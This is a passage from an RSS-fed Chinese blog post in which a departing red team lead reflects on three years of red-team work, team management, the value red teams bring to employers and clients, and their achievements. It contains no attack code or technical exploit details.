24px;">对雇主内部的价值，主要能够体现在帮助企业获得影响力、发现的诸多安全问题来促进商机、产品能力提升、直接业绩。在我经历的三年红队生涯中，红队产生的直接业绩是微乎其微的，反而走影响力的这个路线走的很好。影响力、品牌、商机，这些都是隐性价值，其他人（大部分业绩部门）无法直观感受到红队的重要性，红队不参与商务的大部分流程，所以红队对数字的敏感度不如业务属性部门。如果直接考核红队的直接业绩，那么影响力的效果可能不会那么理想。</p><p style="margin-bottom: 24px;">再说道产品能力提升，很多厂商的产品部门多少都会遇到自己的产品无法发挥拳头作用，缺少有经验的人参与实战打磨，这个时候就需要红队将自己所掌握的技术赋能到产品，提升产品的能力和防护策略的有效性。经历了这两年的疫情对经济的打击，安全行业市场发展走低，但红队人员的成本是在持续走高的，这时候一个冲突结点随之出现……</p><p style="margin-bottom: 24px;">红队对客户的价值，红队可以仿真网络空间中的攻击者所使用的技术来发现客户的安全问题，对于有想对企业整体安全评估需求的客户，可以选择红队进行服务。这里整体指的是最大范围的整体，凡是可以影响到安全问题的所有实体，包括但不限于：系统、网络、人员、流程制度等等。</p><p style="margin-bottom: 24px;">最初我在设计评估方案的时候，理想的评估周期是半个月或一个月，后来攻防演练的频繁出镜，客户更容易接受多家PK竞争的模式，这种模式利好买家，评估周期就会变成一周或者最长一周半，假设还是金融行业的银行客户，这对于红队想要发现严重级别的安全问题要求就更高了。</p><h2><span style="font-size: 20px;">我的红队三年生涯</span></h2><p style="margin-bottom: 24px;"><br/></p><p style="margin-bottom: 24px;">任何一份工作都是阶段性的，这五年的工作经历中，面对不同的同事都有聊到过一个话题：“你的三年/五年规划是什么？”第一份和第二份工作我对三年五载的规划都没有太明显的感受，起初我毫无方向，就像天空中漂浮的蒲公英，随风而去、随遇而安的样子，在飘荡的日子里也曾做过很多冲动的抉择，为什么我要用冲动这个词，冲动代表了是过去的自己做出了在那个时段正确的决定。在毫无方向的时候，冲动不是一个坏处，反而要犯错改错才能成长。倘若是经常否定自己做错了、选错了，那好像也很难再进步。<br/></p><p style="margin-bottom: 24px;">人生都有一个核心的问题：“我从哪里来，我要到哪里去。”我理解这句话的意思应该是我为何来到世间，我要到世间哪个地方去。工作了第5个年头我终于理解三年五载的规划代表了什么含义，是想让自己能有一个清晰的目标去奋斗、去改变，即便是自己的认知每天都在提升，也要做一做规划，写一写想法。时至今日，我认为当初决定做红队的选择依然正确。</p><p style="margin-bottom: 24px;">2019的部分总结：我非常热爱技术，什么都想会一点，至今为止都觉得全能高手是存在的，也不会浮躁，只优先选择自己热爱的，这点是有些固执的，时常沉浸其中、乐在其中，做技术带给我的反馈有很多，它不断的印证一就是一，不管如何都不会变成二。其次，不断印证类似于成功学中的大道理，努力就有收获之类的话题。技术是我的爱好，而我的工作建设在爱好之上，这对于许多人来说是多么幸福的一件事啊。但有一天我开始怀疑，因为我从一个前辈身上感受到，他除了有和我相同类似的工作的同时，还拥有一个更热爱的爱好，我觉得这是对幸福的一种加持。我开始觉得工作与爱好的融合会让爱好变得浑浊，不那么纯粹。工作是有棱角的，而爱好是没有棱角的。这样的情况普遍也很多，这倒也还算过得去。</p><p style="margin-bottom: 24px;">2020年的部分总结：从2020年X月起初到2020年X月份，实验室成员目前达到X人，现有工作需求的技术都慢慢开始饱和。从年初刚开始的X人发展到X人，期间遇到项目上、管理上的许多问题，问题的最初在我自身，在明确方向的工作上和需要执行的工作上没有平衡，欠缺思考的时间。通过逐步的现象总结，能够解决一部分问题，强调了关于部门价值观、绩效考核、工作效率等等问题，但这种方式不能够持续解决已经遇到过的问题，于是开始落地标准化来形成管理工具，我发现我的日常思考的结果是存在某些管理框架内的，是有特定的方法的，这对于我自身是很大的提升。</p><p style="margin-bottom: 24px;">个人技能：从去年到现在一直在推荐落地Demo这块工作，我发现内部已经形成感染力，对于一些研究、实战的需求有了更多的思考。从技术成长的角度来看，需要发展成为“T”字型人才，这样才能应对更多的考验，自身擅长的方向有一定沉淀，以“专精之余而触类旁通”来规划自己一个阶段的学习方向，管理好精力与时间是我有待练习和加强的。</p><p style="margin-bottom: 24px;">2021年的部分总结：每一个企业都有战略资源部门，我理解的战略资源部门是这个部门的能力具备稀缺性的，复制需要巨大成本，如果利用得当，会产生巨大增益，反之当战略资源投入的衡量方式有问题就会产生战略资源部门管理上的压力，我所处于的就是一个战略资源部门，我长期以来遇到最大的问题就是关于战略价值的衡量，哪种类型的项目需要投入多少资源可能是项目管理上屡见不鲜的问题，对于PM来说，解决这种问题一定是有现成的公式或者工具，但作为一个Leader，考虑的因素就要多很多了，尤其是团队平均年龄比较年轻的，要为大家争取最大的利益，而且这种利益还可能是一种不可见的长远利益，你不能奢求大多数人可以理解，多数的牺牲是看不见的。我解决这个问题的办法是不断的跨部门沟通，项目分级定义，投入产出对赌，跨部门的效果达到预期以后，我的成就感油然而生，即使在解决的过程中因为自己并不擅长，多次想过要逃避、斗争，但都坚持了下来，因为比起自己看不起自己，更怕的是无法回应太多人的期待。解决完成后，我就开始思考如何让团队的定位和目标更明确，让大家做的事儿更有边界，更贴合自身预期。于是在近年末的期间，让大家开始定制规划2022年的目标，将更多的力量投入到中台建设工作上来，这可能是对大家也是一个不小的挑战，尤其在思维上、技术上，相信大家一定可以。</p><p style="margin-bottom: 24px;">这里简单晒一下我在今年离职前做职级晋升准备上报的近两年重点工作成果（日常交付项目除外）：</p><p style="margin-bottom: 24px;">一、业绩成果：</p><ol class="list-paddingleft-1"><li><p>2021年大型攻防演练现场牵头，作为现场队长将传递有效信息到后端，现场编写技战法与报告整理，且代表公司获得HW BP讲师称号及证书</p></li><li><p>2022年大型攻防演练总牵头，前期预算申报、人员分组、方案制定、质量把控，带领团队拉通各部门进行红队工作</p></li></ol><p style="margin-bottom: 24px;">二、机制建设：</p><ol class="list-paddingleft-1"><li><p>业绩承诺机制管理规定发布，明确了XX中心与XX中心内部，在红队资源申请及业绩承诺机制之间的基本原则，用于规范红队支撑，最大限度优化、聚焦红队资源，使之发挥最优的价值。指导红队支撑工作中产生的各类费用核算方法，XX中心、XX中心、XX部、XX部应按照本规定落实相关的核算工作，并逐步推进财务核算精细化管理。</p></li><li><p>持续推进红队中台能力建设，XX实验室红队平台的功能评审、需求反馈、漏洞和工具与XX实验室KPI绑定，辅助XX实验室持续迭代平台，至今已初步发挥价值，有用户且有业绩</p></li><li><p>公司红队梯队建设，在X总的建议下，与其他同事制定了XX中心红队的梯队建设模式、红队激励覆盖范围等机制</p></li><li><p>红队漏洞储备机制建设，设定XX实验室漏洞挖掘KPI，明确产出，并且提供到XX实验室漏洞平台，建立0day漏洞申请机制</p></li></ol><p style="margin-bottom: 24px;">三、影响力</p><p style="margin-bottom: 24px;">对外：编写红队彩虹书增加公司对外影响力，2021年编写红队彩虹书成功发布、2022年年初负责牵头编写红队彩虹书，跟进修订、修改，最终成功上市发布 对内：任职资格标准修订，作为标准修订组长角色对2021年的任职资格标准重新修订，为红队方向发展人员提供晋升参考</p><p style="margin-bottom: 24px;">这三年不仅具备了相对丰富的红队技术和业务经验，也尝试了一线的管理工作，往日与大家战斗的日子历历在目，在公司不知看过多少次日出，<strong>享受过红队那份荣耀、维护过红队那份骄傲</strong>，我的故事留在了这里，感恩那些包容过我的朋友、同事们，所有的离别都是为了更好的相遇……</p><p style="margin-bottom: 24px;"><br/></p>



<p><a href="http://payloads.online/archivers/2022-09-19/1">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=76c44779&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzA4NzQwNzY3OQ%3D%3D%26mid%3D2247483891%26idx%3D1%26sn%3D39383729a6e8689ec9d696704827b730%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Tue, 20 Sep 2022 00:04:00 +0800</pubDate>
    </item>
  </channel>
</rss>